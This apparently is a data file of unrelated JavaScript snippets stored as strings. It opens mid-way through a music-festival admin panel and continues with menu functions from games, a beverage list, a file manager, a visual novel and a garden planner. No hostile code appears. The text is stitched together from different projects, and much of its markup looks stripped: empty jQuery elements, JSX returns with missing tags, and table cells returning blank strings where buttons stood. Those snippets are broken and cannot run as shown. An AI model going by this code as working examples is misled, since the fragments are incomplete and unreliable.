}},\n/* '_file':{'label':'Attach Files', \n 'fields':{\n 'attachment1':{'label':'File 1', 'type':'file', 'hidelabel':'no'},\n 'attachment2':{'label':'File 2', 'type':'file', 'hidelabel':'no'},\n 'attachment3':{'label':'File 3', 'type':'file', 'hidelabel':'no'},\n 'attachment4':{'label':'File 4', 'type':'file', 'hidelabel':'no'},\n 'attachment5':{'label':'File 5', 'type':'file', 'hidelabel':'no'},\n }}, */\n 'sections':{'label':'Syllabus', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'sections' ? 'yes' : 'no';},\n 'cellClasses':['', 'alignright fabuttons'],\n },\n 'categories':{'label':'Categories', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'categories' ? 'yes' : 'no';},\n 'cellClasses':['', 'alignright fabuttons'],\n },\n 'classes':{'label':'Classes', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'classes' ? 'yes' : 'no';},\n 'cellClasses':['', 'alignright fabuttons'],\n },\n 'schedule':{'label':'Schedule', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'schedule' ? 'yes' : 'no';},\n 'cellClasses':['', 'alignright fabuttons'],\n },\n 'divisions':{'label':'Divisions', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'divisions' ? 'yes' : 'no';},\n 'cellClasses':['', 'alignright fabuttons'],\n },\n 'timeslots':{'label':'Timeslots', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'timeslots' ? 'yes' : 'no';},\n 'cellClasses':['', 'alignright fabuttons'],\n },\n 'tags':{'label':'Registration Tags', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'tags' ? 'yes' : 'no';},\n 'cellClasses':['', 'alignright fabuttons'],\n },\n// 'competitor_search':{'label':'Search Competitors', 'type':'simplegrid', 'num_cols':2,\n// 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'competitors' ? 'yes' : 'no';},\n// 'cellClasses':['', 'alignright fabuttons'],\n// },\n 'competitors':{'label':'Competitors', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'competitors' ? 'yes' : 'no';},\n 'headerValues':['Name', 'Status'],\n 'headerClasses':['', 'alignright'],\n 'cellClasses':['', 'alignright fabuttons'],\n 'sortable':'yes',\n 'sortTypes':['text', 'alttext'],\n },\n 'teachers':{'label':'Teachers', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'teachers' ? 'yes' : 'no';},\n 'headerValues':['Name', 'Status'],\n 'headerClasses':['', 'alignright'],\n 'cellClasses':['', 'alignright fabuttons'],\n 'sortable':'yes',\n 'sortTypes':['text', 'alttext'],\n },\n '_buttons':{'label':'', 'buttons':{\n 'done':{'label':'Done', 'fn':'M.ciniki_musicfestivals_main.messagerefs.close();'},\n }},\n };\n this.messagerefs.cellSortValue = function(s, i, j, d) {\n if( d.added != null && d.added == 'yes' ) {\n return 1;\n } else if( d.included != null && d.included == 'yes' ) {\n return 2;\n } else {\n return 3;\n }\n }\n this.messagerefs.cellValue = function(s, i, j, d) {\n if( s == 'details' ) {\n switch(j) {\n case 0: return d.label;\n case 1: return d.value;\n }\n }\n if( s == 'objects' ) {\n switch(j) {\n case 0: return d.type;\n case 1: return d.label;\n case 2: return '&#xf014;&nbsp;';\n }\n }\n if( s == 'sections' || s == 'categories' || s == 'classes' || s == 'schedule' || s == 'divisions' || s == 'timeslots' || s == 'tags' || s == 'competitors' ) {\n if( j == 0 ) {\n return d.name;\n }\n if( j == 1 ) {\n if( d.added != null && d.added == 'yes' ) {\n if( this.data.message.status == 10 ) {\n return '';\n } else {\n return 'Added';\n }\n } else if( d.included != null && d.included == 'yes' ) {\n return 'Included';\n } else if( d.object != null && d.partial == null ) {\n if( this.data.message.status == 10 ) {\n return '';\n } else {\n return '';\n }\n } else if( d.object != null && d.partial == null ) {\n return '';\n }\n }\n }\n if( s == 'teachers' ) {\n if( j == 0 ) {\n return d.name;\n }\n if( j == 1 ) {\n var html = '';\n if( d.included != null ) {\n return 'Included';\n }\n else if( d.students != null ) {\n return '';\n }\n else if( d.added != null ) {\n return '';\n }\n else { \n return ''\n + ' ';\n }\n }\n \n }\n }\n this.messagerefs.cellFn = function(s, i, j, d) {\n if( s == 'objects' && j == 2 ) { \n return 'M.ciniki_musicfestivals_main.messagerefs.removeObject(\\'' + d.object + '\\',\\'' + d.object_id + '\\');';\n }\n }\n this.messagerefs.rowClass = function(s, i, d) {\n if( (d.partial != null && d.partial == 'yes') ) {\n return 'statusorange';\n }\n else if( (d.added != null && d.added == 'yes')\n || (d.included != null && d.included == 'yes') \n || (d.students != null && d.students == 'yes') \n ) {\n return 'statusgreen';\n }\n }\n this.messagerefs.rowFn = function(s, i, d) {\n if( s == 'sections' || s == 'categories' || s == 'schedule' || s == 'divisions' ) {\n if( d.added == null && d.included == null ) {\n return 'M.ciniki_musicfestivals_main.messagerefs.switchSubTab(\\'' + s + '\\',' + d.id + ');';\n }\n }\n return '';\n }\n this.messagerefs.extractRecipients = function() {\n M.api.getJSONCb('ciniki.musicfestivals.messageGet', {'tnid':M.curTenantID, \n 'message_id':this.message_id, \n 'allrefs':'yes', \n 'section_id':this.section_id, \n 'category_id':this.category_id,\n 'schedule_id':this.schedule_id, \n 'division_id':this.division_id,\n 'action':'extractrecipients',\n }, this.openFinish);\n }\n this.messagerefs.switchTab = function(t) {\n this.sections._tabs.selected = t;\n if( t == 'sections' || t == 'schedule' || t == 'teachers' || t == 'competitors' || t == 'tags' ) {\n this.section_id = 0;\n this.category_id = 0;\n this.schedule_id = 0;\n this.division_id = 0;\n this.registration_tag = '';\n }\n else if( t == 'categories' ) {\n this.category_id = 0;\n this.schedule_id = 0;\n this.division_id = 0;\n this.registration_tag = '';\n }\n else if( t == 'divisions' ) {\n this.section_id = 0;\n this.category_id = 0;\n this.division_id = 0;\n this.registration_tag = '';\n }\n this.open();\n }\n this.messagerefs.switchSubTab = function(s, id) {\n/* if( s == 'sections' || s == 'schedule' || s == 'teachers' || s == 'competitors' ) {\n this.section_id = 0;\n this.category_id = 0;\n this.schedule_id = 0;\n this.division_id = 0;\n }\n else if( s == 'categories' ) {\n this.category_id = 0;\n this.schedule_id = 0;\n this.division_id = 0;\n }\n else if( s == 'divisions' ) {\n this.section_id = 0;\n this.category_id = 0;\n this.division_id = 0;\n } */\n if( s == 'sections' ) {\n this.section_id = id;\n this.switchTab('categories');\n }\n if( s == 'categories' ) {\n this.category_id = id;\n this.switchTab('classes');\n }\n if( s == 'schedule' ) {\n this.schedule_id = id;\n this.switchTab('divisions');\n }\n if( s == 'divisions' ) {\n this.division_id = id;\n this.switchTab('timeslots');\n }\n }\n this.messagerefs.updateFlags = function() {\n var f = this.data.message.flags;\n if( (this.formValue('flags1')&0x01) == 0x01 ) {\n f |= 0x01;\n } else {\n f &= 0xFFFE;\n }\n if( (this.formValue('flags1')&0x02) == 0x02 ) {\n f |= 0x02;\n } else {\n f &= 0xFFFD;\n }\n if( f != this.data.message.flags ) {\n M.api.getJSONCb('ciniki.musicfestivals.messageGet', {'tnid':M.curTenantID, \n 'message_id':this.message_id, \n 'allrefs':'yes', \n 'section_id':this.section_id, \n 'category_id':this.category_id,\n 'schedule_id':this.schedule_id, \n 'division_id':this.division_id,\n 'action':'updateflags',\n 'flags':f,\n }, this.openFinish);\n } \n }\n this.messagerefs.addObject = function(o, oid) {\n M.api.getJSONCb('ciniki.musicfestivals.messageGet', {'tnid':M.curTenantID, \n 'message_id':this.message_id, \n 'allrefs':'yes', \n 'section_id':this.section_id, \n 'category_id':this.category_id,\n 'schedule_id':this.schedule_id, \n 'division_id':this.division_id,\n 'action':'addref',\n 'object':o,\n 'object_id':oid,\n }, this.openFinish);\n }\n this.messagerefs.removeObject = function(o, oid) {\n M.api.getJSONCb('ciniki.musicfestivals.messageGet', {'tnid':M.curTenantID, \n 'message_id':this.message_id, \n 'allrefs':'yes', \n 'section_id':this.section_id, \n 'category_id':this.category_id,\n 'schedule_id':this.schedule_id, \n 'division_id':this.division_id,\n 'action':'removeref',\n 'object':o,\n 'object_id':oid,\n }, this.openFinish);\n }\n this.messagerefs.open = function(cb, mid) {\n if( cb != null ) { this.cb = cb; }\n if( mid != null ) { this.message_id = mid; }\n M.api.getJSONCb('ciniki.musicfestivals.messageGet', {'tnid':M.curTenantID, \n 'message_id':this.message_id, \n 'allrefs':'yes', \n 'section_id':this.section_id, \n 'category_id':this.category_id,\n 'schedule_id':this.schedule_id, \n 'division_id':this.division_id,\n }, this.openFinish);\n }\n this.messagerefs.openFinish = function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.messagerefs;\n p.data = rsp;\n p.data.flags = rsp.message.flags;\n p.data.details = rsp.message.details;\n p.data.objects = rsp.message.objects;\n p.refresh();\n p.show();\n }\n this.messagerefs.goback = function() {\n if( this.sections._tabs.selected == 'categories' ) {\n this.switchTab(\"sections\");\n } else if( this.sections._tabs.selected == 'classes' ) {\n this.switchTab(\"categories\");\n } else if( this.sections._tabs.selected == 'divisions' ) {\n this.switchTab(\"schedule\");\n } else if( this.sections._tabs.selected == 'timeslots' ) {\n this.switchTab(\"divisions\");\n } else {\n this.close();\n }\n }\n this.messagerefs.addLeftButton('back', 'Back', 'M.ciniki_musicfestivals_main.messagerefs.goback();');\n\n //\n // Start the app\n // cb - The callback to run when the user leaves the main panel in the app.\n // ap - The application prefix.\n // ag - The app arguments.\n //\n this.start = function(cb, ap, ag) {\n args = {};\n if( ag != null ) {\n args = eval(ag);\n }\n \n //\n // Create the app container\n //\n var ac = M.createContainer(ap, 'ciniki_musicfestivals_main', 'yes');\n if( ac == null ) {\n M.alert('App Error');\n return false;\n }\n\n //\n // Initialize for tenant\n //\n if( this.curTenantID == null || this.curTenantID != M.curTenantID ) {\n this.tenantInit();\n this.curTenantID = M.curTenantID;\n }\n\n if( args.item_object != null && args.item_object == 'ciniki.musicfestivals.registration' && args.item_object_id != null ) {\n this.registration.open(cb, args.item_object_id, 0, 0, 0, null, args.source);\n } else if( args.registration_id != null && args.registration_id != '' ) {\n this.registration.open(cb, args.registration_id, 0, 0, 0, null, '');\n } else if( args.festival_id != null && args.festival_id != '' ) {\n this.festival.list_id = 0;\n this.festival.open(cb, args.festival_id, null);\n } else {\n this.festival.list_id = 0;\n this.menu.sections._tabs.selected = 'festivals';\n this.menu.open(cb);\n }\n }\n\n this.tenantInit = function() {\n this.festival.typestatus = '';\n this.festival.sections.ipv_tabs.selected = 'all';\n this.classes.sections._tabs.selected = 'fees';\n this.festival.section_id = 0;\n this.festival.schedulesection_id = 0;\n this.festival.scheduledivision_id = 0;\n this.festival.list_id = 0;\n this.festival.listsection_id = 0;\n this.festival.nplists = {};\n this.festival.nplist = [];\n this.festival.messages_status = 10;\n this.festival.city_prov = 'All';\n this.festival.province = 'All';\n this.festival.registration_tag = '';\n }\n}","function toMenu()\n {\n /**\n * Opens a fan of a desk in the pause menu\n */\n function openFan()\n {\n toggleHideElements([DOM.pause.deskContainer], animation.duration.hide, false);\n desk.toggleFan(4, 35, 10, true);\n for (var counter = 0; counter < desk.cards.length; counter++)\n {\n if (state.isWin)\n {\n desk.cards[counter].turn(true);\n desk.cards[counter].dataset.turned = true;\n }\n else if (desk.cards[counter].dataset.turned == true)\n {\n desk.cards[counter].turn(true);\n }\n }\n state.isWin = false;\n }\n\n /**\n * Shows menu elements\n */\n function showMenu()\n {\n if (state.screen == \"GAME\")\n {\n cards[0].removeEventListener(\"move\", showMenuId);\n DOM.pause.deskContainer.style.opacity = 1;\n DOM.cardsContainer.classList.add(CSS.hidden);\n }\n\n if (state.isWin)\n {\n DOM.pause.deskContainer.style.opacity = 0;\n DOM.pause.headline.innerHTML = (state.score >= 0 ? \"Победа со счётом: \" : \"Потрачено: \") + state.score;\n DOM.pause.options.continue.disabled = true;\n state.score = 0;\n }\n else\n {\n DOM.pause.headline.innerHTML = \"MEMORY GAME\";\n }\n\n DOM.container.classList.remove(CSS.container.game);\n DOM.container.classList.add(CSS.container.pause);\n state.screen = \"MENU\";\n\n toggleHideElements(\n [DOM.pause.options.continue, DOM.pause.options.newGame, DOM.pause.headline],\n animation.duration.hide,\n false,\n openFan.bind(this)\n );\n }\n\n /**\n * Hides a game field\n */\n function hideGameField(follower)\n {\n toggleHideElements([DOM.game.score, DOM.game.pauseButton], animation.duration.hide, true, follower);\n }\n\n /**\n * Moves cards from the field to the desk\n */\n function takeCards()\n {\n if (state.turnedCard)\n {\n state.turnedCard.turn(true);\n }\n\n showMenuId = cards[0].addEventListener(\"move\", showMenu);\n\n for (var counter = 0; counter < cards.length; counter++)\n {\n cards[counter].move(DOM.cardsContainer, {width: sizes.desk.width + \"PX\", height: sizes.desk.height + \"PX\"}, true);\n }\n }\n\n state.cardsTurnable = false;\n if (state.screen == \"GAME\")\n {\n var showMenuId;\n hideGameField();\n takeCards();\n }\n else\n {\n hideGameField(showMenu.bind(this));\n }\n }","function HappyMealMenu() {\n \n const dispatch = useDispatch();\n const menu = useSelector(state => state.happyMeal.menu, shallowEqual);\n \n // use 'react-redux' to load in happy meals from backend. \n useEffect(() => {\n dispatch(fetchMenuFromAPI('LOAD_HAPPY_MEAL_MENU', 'happy-meal'));\n }, [dispatch]);\n \n return (\n // render happy meal items as a list of buttons. \n
    \n {menu && menu.map(food => \n )\n }\n
    \n )\n}","function spellsMenu() {\n $scope.menuTitle = createText(\"Spells\", [20, 10]);\n createText(\"Not yet implemented\", [50, 80], {});\n }","function showMenu() {\n rectMode(CENTER);\n fill(colorList[2]);\n rect(buttonX, buttonY, buttonWidth, buttonHeight);\n \n textAlign(CENTER, CENTER);\n fill(colorList[5]);\n text(\"How to Play\", buttonX, buttonY);\n\n fill(colorList[3]);\n rect(buttonX, secondButtonYpos, buttonWidth, buttonHeight);\n \n textAlign(CENTER, CENTER);\n fill(colorList[4]);\n text(\"Dancing Block\", buttonX, secondButtonYpos);\n \n}","function simulat_menu_infos() {\n display_menu_infos();\n}","createMenus (){\n \n $.each(MenuData.menus, ( menuName, menuItems )=>{\n \n $('#gameNav-'+menuName+'Panel > .menu-links').html('');\n \n $.each(menuItems,( index, item )=>{\n \n var realRoute,itemLink,action,routeId;\n \n if(item.hideIfNotAuthenticated && !this.get('session.isAuthenticated')){\n return true;\n }\n \n if(item.label){\n // Translate item label\n let key = \"menu.\"+Ember.String.dasherize(menuName)+\".\"+Ember.String.dasherize(item.label);\n item.tLabel = this.get('i18n').t(key);\n }\n \n // Serialize route name for use as CSS id name\n item.cssRoute = item.route.replace(/\\./g,'_');\n \n // Track actionable link\n let addEvent = true;\n \n if(item.menuRoute){\n \n // For routes which don't appear in the menu but will cause a different menu link to highlight\n itemLink = $('');\n addEvent = false;\n \n } else if(item.tempRoute){\n itemLink = $(''+item.tLabel+'');\n action = 'transitionAction';\n realRoute = item.tempRoute;\n \n } else if(item.route){\n itemLink = $(''+item.tLabel+'');\n action = 'transitionAction';\n realRoute = item.route;\n \n if(item.params && item.params.id){\n routeId = item.params.id;\n }\n \n } else if(item.action) {\n itemLink = $(''+item.tLabel+'');\n let actionName = 'menuAction'+item.label.alphaNumeric();\n action = actionName;\n this.set(actionName,item.action);\n }\n \n if(itemLink){\n \n if(addEvent){\n itemLink.on('click',(e)=>{\n e.preventDefault();\n this.sendAction(action,realRoute,routeId);\n \n if(routeId){\n Ember.Blackout.transitionTo(realRoute,routeId);\n } else {\n Ember.Blackout.transitionTo(realRoute);\n }\n \n this.selectMenuLink(item.route);\n return false;\n });\n }\n \n $('#gameNav-'+menuName+'Panel > .menu-links').append(itemLink);\n }\n \n });\n });\n\n // Manually update hover watchers\n Ember.Blackout.refreshHoverWatchers();\n \n }","function showMenu(type) {\n switch (type) {\n case 'beer':\n addBasicMenu();\n lastMenu = type;\n showParticularMenu(allBeveragesOfType(\"Öl\"));\n break;\n case 'wine':\n addBasicMenu();\n lastMenu = type;\n showParticularMenu(allBeveragesOfType(\"vin\"));\n break;\n case 'spirits':\n addBasicMenu();\n lastMenu = type;\n showParticularMenu(allBeveragesWithStrength(\"above\", 20));\n break;\n case 'alcoAbove':\n lastMenu = type;\n if (document.getElementById(\"alco_percent\") != null) {\n alcoPercent = document.getElementById(\"alco_percent\").value;\n }\n addBasicMenu();\n showParticularMenu(allBeveragesWithStrength(\"above\", alcoPercent));\n break;\n case 'alcoBelow':\n lastMenu = type;\n if (document.getElementById(\"alco_percent\") != null) {\n alcoPercent = document.getElementById(\"alco_percent\").value;\n }\n addBasicMenu();\n showParticularMenu(allBeveragesWithStrength(\"below\", alcoPercent));\n break;\n case 'tannin':\n addBasicMenu();\n lastMenu = type;\n showParticularMenu([]);\n break;\n case 'gluten':\n addBasicMenu();\n lastMenu = type;\n showParticularMenu([]);\n break;\n case 'rest':\n currentFiltering = \"rest\";\n showMenu(lastMenu);\n break;\n case 'cat':\n currentFiltering = \"cat\";\n showMenu(lastMenu);\n break;\n case 'back':\n currentFiltering = \"none\";\n showMenu(allMenuBeverages());\n break;\n default:\n addBasicMenu();\n lastMenu = type;\n showParticularMenu(allMenuBeverages());\n }\n}","function showmenu(ev, category, deleted = false) {\n //stop the real right click menu\n ev.preventDefault();\n var mouseX;\n let element = \"\";\n if (ev.pageX <= 200) {\n mouseX = ev.pageX + 10;\n } else {\n let active_class = $(\"#sidebarCollapse\").attr(\"class\");\n if (active_class.search(\"active\") == -1) {\n mouseX = ev.pageX - 210;\n } else {\n mouseX = ev.pageX - 50;\n }\n }\n\n var mouseY = ev.pageY - 10;\n\n if (category === \"folder\") {\n if (deleted) {\n $(menuFolder)\n .children(\"#reg-folder-delete\")\n .html(\" Restore\");\n $(menuFolder).children(\"#reg-folder-rename\").hide();\n $(menuFolder).children(\"#folder-move\").hide();\n $(menuFolder).children(\"#folder-description\").hide();\n } else {\n if ($(\".selected-item\").length > 2) {\n $(menuFolder)\n .children(\"#reg-folder-delete\")\n .html(' Delete All');\n $(menuFolder)\n .children(\"#folder-move\")\n .html(' Move All');\n $(menuFolder).children(\"#reg-folder-rename\").hide();\n $(menuFolder).children(\"#folder-description\").hide();\n } else {\n $(menuFolder)\n .children(\"#reg-folder-delete\")\n .html(\"Delete\");\n $(menuFolder)\n .children(\"#folder-move\")\n .html(' Move');\n $(menuFolder).children(\"#folder-move\").show();\n $(menuFolder).children(\"#reg-folder-rename\").show();\n $(menuFolder).children(\"#folder-description\").show();\n }\n }\n menuFolder.style.display = \"block\";\n $(\".menu.reg-folder\").css({ top: mouseY, left: mouseX }).fadeIn(\"slow\");\n } else if (category === \"high-level-folder\") {\n if (deleted) {\n $(menuHighLevelFolders)\n .children(\"#high-folder-delete\")\n .html(\" Restore\");\n $(menuHighLevelFolders).children(\"#high-folder-rename\").hide();\n $(menuHighLevelFolders).children(\"#folder-move\").hide();\n $(menuHighLevelFolders).children(\"#tooltip-folders\").show();\n } else {\n if ($(\".selected-item\").length > 2) {\n $(menuHighLevelFolders)\n .children(\"#high-folder-delete\")\n .html(' Delete All');\n $(menuHighLevelFolders).children(\"#high-folder-delete\").show();\n $(menuHighLevelFolders).children(\"#high-folder-rename\").hide();\n $(menuHighLevelFolders).children(\"#folder-move\").hide();\n $(menuHighLevelFolders).children(\"#tooltip-folders\").show();\n } else {\n $(menuHighLevelFolders)\n .children(\"#high-folder-delete\")\n .html(\"Delete\");\n $(menuHighLevelFolders).children(\"#high-folder-delete\").show();\n $(menuHighLevelFolders).children(\"#high-folder-rename\").hide();\n $(menuHighLevelFolders).children(\"#folder-move\").hide();\n $(menuHighLevelFolders).children(\"#tooltip-folders\").show();\n }\n }\n menuHighLevelFolders.style.display = \"block\";\n $(\".menu.high-level-folder\")\n .css({ top: mouseY, left: mouseX })\n .fadeIn(\"slow\");\n } else {\n if (deleted) {\n $(menuFile)\n .children(\"#file-delete\")\n .html(\" Restore\");\n $(menuFile).children(\"#file-rename\").hide();\n $(menuFile).children(\"#file-move\").hide();\n $(menuFile).children(\"#file-description\").hide();\n } else {\n if ($(\".selected-item\").length > 2) {\n $(menuFile)\n .children(\"#file-delete\")\n .html(' Delete All');\n $(menuFile)\n .children(\"#file-move\")\n .html(' Move All');\n $(menuFile).children(\"#file-rename\").hide();\n $(menuFile).children(\"#file-description\").hide();\n } else {\n $(menuFile)\n .children(\"#file-delete\")\n .html(\"Delete\");\n $(menuFile)\n .children(\"#file-move\")\n .html(' Move');\n $(menuFile).children(\"#file-rename\").show();\n $(menuFile).children(\"#file-move\").show();\n $(menuFile).children(\"#file-description\").show();\n }\n }\n menuFile.style.display = \"block\";\n $(\".menu.file\").css({ top: mouseY, left: mouseX }).fadeIn(\"slow\");\n }\n}","function menu(menuArray)\n{\n if(skip === true) {\n skip = false;\n }\n novel.ignoreClicks = true;\n novel.dialog.innerHTML =\n menuArray[0].replace(/{{(.*?)}}/g, novel_interpolator);\n novel.dialog.style.textAlign=\"center\";\n for (var i = 1; i < menuArray.length; i += 2)\n {\n var mItem = new MenuItem((i-1) / 2, menuArray[i], menuArray[i+1]); \n var el = mItem.domRef;\n novel_addOnClick(el, menuArray[i+1]);\n el.innerHTML = menuArray[i].replace(/{{(.*?)}}/g, novel_interpolator);\n novel.tableau.appendChild(el);\n novel.actors.push(mItem);\n }\n novel.paused = true;\n}","openMenu(scene, index = 0) {\n this.index = index;\n this.parentIndex = undefined;\n\n //A few initial variables\n const gameWidth = scene.sys.game.config.width;\n const gameHeight = scene.sys.game.config.height;\n const cellWidth = 500;\n const cellHeight = 48;\n const length = this.categoriesGroup.getLength();\n\n //Remove old listeners & reset\n this.closeMenus(scene);\n\n //Change alpha of selected menu\n this.categoriesGroup.children.entries[index].setAlpha(1);\n // this.categoriesGroup.children.entries[index].setBackgroundColor('#000000');\n\n //Vertical Line\n const graphics = scene.add.graphics();\n graphics.lineStyle(1, 0xffffff);\n graphics.lineBetween(gameWidth - cellWidth, gameHeight * 2 / 3, gameWidth - cellWidth, gameHeight);\n\n const actions = this.categoriesGroup.children.entries[index].children;\n this.actionsGroup = scene.add.group();\n let nOfOptions = actions.length;\n\n for (let i = 0; i < nOfOptions; i++) {\n let itemsLeft = \"\";\n if (actions[i].supply > 0 && actions[i]) {\n itemsLeft = ` (${ actions[i].supply })`;\n }\n else if (actions[i].supply <= 0) {\n actions.pop(actions[i--]);\n nOfOptions--;\n continue;\n }\n\n const y = gameHeight * 2 / 3 + cellHeight * i;\n const x = 10 + gameWidth - cellWidth;\n\n let addedText = scene.add.bitmapText(x, y, 'welbutrin', `${ actions[i].name + itemsLeft }`, 32);\n addedText.setAlpha(0.5);\n this.actionsGroup.add(addedText);\n }\n\n //If there are no options in a particular menu, display an error\n if (this.actionsGroup.children.size === 0) {\n const y = gameHeight * 2 / 3;\n const x = 10 + gameWidth - cellWidth;\n\n let addedText = scene.add.bitmapText(x, y, 'welbutrin', 'Nothing to see here!', 32);\n this.actionsGroup.add(addedText);\n }\n }","function ocultarMenu(){\n\t\t$(\"#js-menu-recipe\").hide();\n}","function addPlantMenu(menu) {\n \n //call a function to create UL with plants at the position of a click\n const dropDownMenu = getUL(menu);\n \n //assign an onclick response that adds a plant(s)\n dropDownMenu.addEventListener(\"click\", function(evt) {\n \n //make sure the click is on a custom choice (inside a menu)\n if (!evt.target.classList.contains(\"customChoice\")) {\n return;\n }\n \n //capture plant li elements from the menu into an array so that their properties can be accessed\n const ar = Array.from(evt.target.parentElement.getElementsByTagName(\"li\"));\n \n //when adding plants to a garden, x-offset is calculated for each height group; the following determines how many plants fall into each height group, then the width is divided by the number of plants to calculate the available horizontal space between plants\n const xSp1 = menu.gW / (ar.filter(x => rangeCheck(x.getAttribute(\"data-avgh\"),0,24)).length);\n const xSp2 = menu.gW / (ar.filter(x => rangeCheck(x.getAttribute(\"data-avgh\"),24,48)).length);\n const xSp3 = menu.gW / (ar.filter(x => rangeCheck(x.getAttribute(\"data-avgh\"),48,72)).length);\n const xSp4 = menu.gW / (ar.filter(x => Number(x.getAttribute(\"data-avgh\")) >= 72).length);\n\n //when adding plants to a garden, x-offset variable is calculated for each height group and 1x..4 is for current plant's offset\n let x1 = x2 = x3 = x4 = 0;\n //for vertical offset, the yOffset is for each plant height group then the y1..4 is the small offset for each plant, so that they're not clustered together\n let y1 = y2 = y3 = y4 = 0;\n \n //loop through filtered plants and add them; when adding to a garden, the plant is centered within the garden; otherwise, it's placed to the left of menu; \n //if the menu was brought up too close to the left edge of the screen, the plant is placed to the right; vertically, the plant is at the position of its listing in the menu\n //unless 'Add All Plants' option is clicked, add 1 plant (because liCnt includes the 'Add All Plants' option, the itiration starts at 1, thus set liCnt to 2 for a sinlge addition)\n for (let i = 1, liCnt = evt.target.innerText === \"Add All Plants\"? ar.length : 2; i < liCnt; i++) {\n \n //the x and y offsets for plants added to a garden or freestanding\n let xOffset = yOffset = 0;\n\n //for plants added to a garden\n if (menu.gId) {\n //if adding all plants to a garden, space them at the intervals calculated below\n if (evt.target.innerText === \"Add All Plants\") {\n\n //using garden height, gH, calculate the desired vertical spacing of plant groups; horizontally, plants are placed at xOffset intervals\n yOffset = menu.gH / 3; //3 spaces between 4 groups\n if (Number(evt.target.parentElement.children[i].getAttribute(\"data-avgh\")) < 24) {\n //the shortest plants go to the front (bottom), thus the biggest offset\n yOffset *= 2; \n xOffset = menu.gX + x1 * xSp1;\n x1++;\n } else if (Number(evt.target.parentElement.children[i].getAttribute(\"data-avgh\")) < 48) {\n yOffset *= 1.5;\n xOffset = menu.gX + x2 * xSp2;\n x2++;\n } else if (Number(evt.target.parentElement.children[i].getAttribute(\"data-avgh\")) < 72) {\n xOffset = menu.gX + x3 * xSp3;\n x3++;\n } else {\n yOffset *= 0.5;\n xOffset = menu.gX + x4 * xSp4;\n x4++;\n }\n \n yOffset = menu.gY + yOffset;\n \n //alternate vertical position slightly\n if (i%2) yOffset += munit*2;\n\n }\n else {\n xOffset = menu.gX + menu.gW/2;\n yOffset = menu.gY + menu.gH/2;\n }\n }\n \n //for freestanding plants\n else {\n //Y-OFFSET: when adding all plants, space them vertically 16px apart; otherwise, the vertical placing is at the location of the name in the list; \n yOffset = evt.target.innerText === \"Add All Plants\" ? \n parseInt(window.getComputedStyle(evt.target.parentElement).top) + 16 * i : \n event.pageY;\n //X-OFFSET: if the menu is too close (within 150px) to the left edge of the screen, add the plant on the right, otherwise - left\n// todo: check if the x-calculation creates a result that's too long\n if (parseInt(evt.target.parentElement.style.left) < 150) {\n //xOffset needs to include the alphabet shortcuts that all plants have on the sides\n xOffset = menu.type === \"all\" ? \n parseInt(evt.target.parentElement.nextSibling.nextSibling.style.left) + munit * 5 : \n parseInt(evt.target.parentElement.style.left) + parseInt(window.getComputedStyle(evt.target.parentElement).width) + munit * 3;\n } else {\n xOffset = menu.type === \"all\" ? \n parseInt(evt.target.parentElement.nextSibling.style.left) - parseInt(window.getComputedStyle(evt.target.parentElement).width) * 0.7 : \n parseInt(evt.target.parentElement.style.left) - parseInt(window.getComputedStyle(evt.target.parentElement).width) * 0.7;\n }\n }\n \n const plantLi = evt.target.innerText != \"Add All Plants\" ? evt.target : evt.target.parentElement.children[i];\n\n addPlant({\n pId:null, //plant id is set to null, when creating a new plant\n x: parseFloat(xOffset),\n y: parseFloat(yOffset),\n w:Number(plantLi.getAttribute(\"data-avgw\")),\n h:Number(plantLi.getAttribute(\"data-avgh\")),\n nm:plantLi.innerText, //plant's common name\n gId:menu.gId?menu.gId:0, //a garden id, where the new plant is planted, 0 at first\n lnm:plantLi.getAttribute(\"data-lnm\"), //plant's latin name\n shp:plantLi.getAttribute(\"data-shp\"),\n clr:plantLi.getAttribute(\"data-bloomC\"),\n blm:plantLi.getAttribute(\"data-bloomM\")\n });\n }\n });\n \n //the menu with event listeners have been created, now the menu is added to the document's body, not svg\n document.body.appendChild(dropDownMenu);\n}","function startMenu() {\n createManager();\n}","function menu(){\n background(img,0);\n //retangulo para selecionar a tela\n fill(255, 204, 0)\n rect(imgpont,xrectmenu,yrectmenu,larguramenu,alturamenu,20)\n image(imgpont,xrectmenu,yrectmenu,larguramenu,alturamenu,20)\n fill(233,495,67);\n textSize(26);\n text('JOGAR ', 250, 100)\n //detalhes do texto abaixo\n fill(233,495,67);\n textSize(26);\n text('INSTRUÇÕES', 230, 200);\n text('CREDITOS', 230, 300);\n }","function RenderDish({selectedDish}){\n //check for null dish\n if(selectedDish!=null){\n return(\n \n \n \n {selectedDish.name}\n {selectedDish.description}\n \n \n );\n }else{\n return(\n
